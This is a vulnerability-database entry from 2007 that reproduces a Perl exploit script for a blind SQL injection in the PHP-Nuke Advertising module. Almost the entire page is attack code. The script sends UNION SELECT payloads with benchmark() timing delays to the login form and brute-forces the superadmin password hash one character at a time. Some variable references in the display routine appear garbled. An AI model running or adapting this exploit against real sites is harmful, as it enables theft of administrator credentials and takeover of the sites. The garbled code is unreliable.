Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18390
HistoryNov 12, 2007 - 12:00 a.m.

PHP-Nuke Module Advertising Blind SQL Injection

2007-11-1200:00:00
vulners.com
22

#!/usr/bin/perl
#Product: PHP-Nuke Module Advertising
#BugFounder: 0x90
#HomePage: WwW.0x90.COM.Ar
#Problem: Blind SQL Injection

use strict;
use warnings;
use LWP;
use Time::HiRes;
use IO::Socket;

my $host = "http://[url]/modules.php?name=Advertising";

my $useragent = LWP::UserAgent->new;
my $metodo = HTTP::Request->new(POST => $host);

my $post;
my $inicio;
my $risposta;
my $fine;
my $tiempodefault;
my $tiempo;
my $i;
my $j;
my $hash;
my @array;

@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);

$post="login=a&pass=a&op=client_valid";
$tiempodefault=richiesta($post);
$hash="";

#QUERY RISULTANTE

#SELECT * FROM nuke_banner_clients WHERE login='a' UNION SELECT 0,0,0,0,0,0, IF((ASCII(SUBSTRING(`pwd`,1,1))=112),benchmark(200000000,CHAR(0)),'falso') FROM nuke_authors WHERE `radminsuper`=1/*

for ($i=1;$i<33;$i++)
{
for ($j=0;$j<16;$j++)
{
$post="login=a' UNION SELECT 0,0,0,0,0,0, IF((ASCII(SUBSTRING(`pwd`," . $i . ",1))=".$array[$j]."),benchmark(200000000,CHAR(0)),'falso') FROM nuke_authors WHERE `radminsuper`=1/&pass=a' UNION SELECT 0,0,0,0,0,0, IF((ASCII(SUBSTRING(`pwd`," . $i . ",1))=".$array[$j]."),benchmark(200000000,CHAR(0)),'falso') FROM nuke_authors WHERE `radminsuper`=1/&op=client_valid";
$tiempo=richiesta($post);
aggiorna($host,$tiempodefault,$j,$hash,$tiempo,$i);
if($tiempo>10)
{
$tiempo=richiesta($post);
aggiorna($host,$tiempodefault,$j,$hash,$tiempo,$i);
if($tiempo>10)
{
$hash .=chr($array[$j]);
aggiorna($host,$tiempodefault,$j,$hash,$tiempo,$i);
$j=200;
}
}

}
if($i==1)
{
if($hash eq "")
{
$i=200;
print "El atake Fallo\n";
}
}
}

print "Atake Terminado\n\n";

system("pause");

sub richiesta{
$post=$_[0];
$metodo->content_type('application/x-www-form-urlencoded');
$metodo->content($post);
$inicio=Time::HiRes::time();
$risposta=$useragent->request($metodo);
$risposta->is_success or die "$host : ",$risposta->message,"\n";
$fine=Time::HiRes::time();
$tiempo=$fine-$inicio;
return $tiempo
}

sub aggiorna{
system("cls");
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
print "PHP-Nuke Module Advertising Blind SQL Injection\n";
print "by 0x90\n";
print "Visit: WwW.0x90.CoM.Ar\n\n";
print "Victima : " . $[0] . "\n";
print "Tiempo Default : " . $
[1] . " secondi\n";
print "Hash Bruteforce : " . chr($array[$[2]]) . "\n";
print "Bruteforce n Caracter Hash : " . $
[5] . "\n";
print "Tiempo sql : " . $[4] . " secondi\n";
print "Hash : " . $
[3] . "\n";
}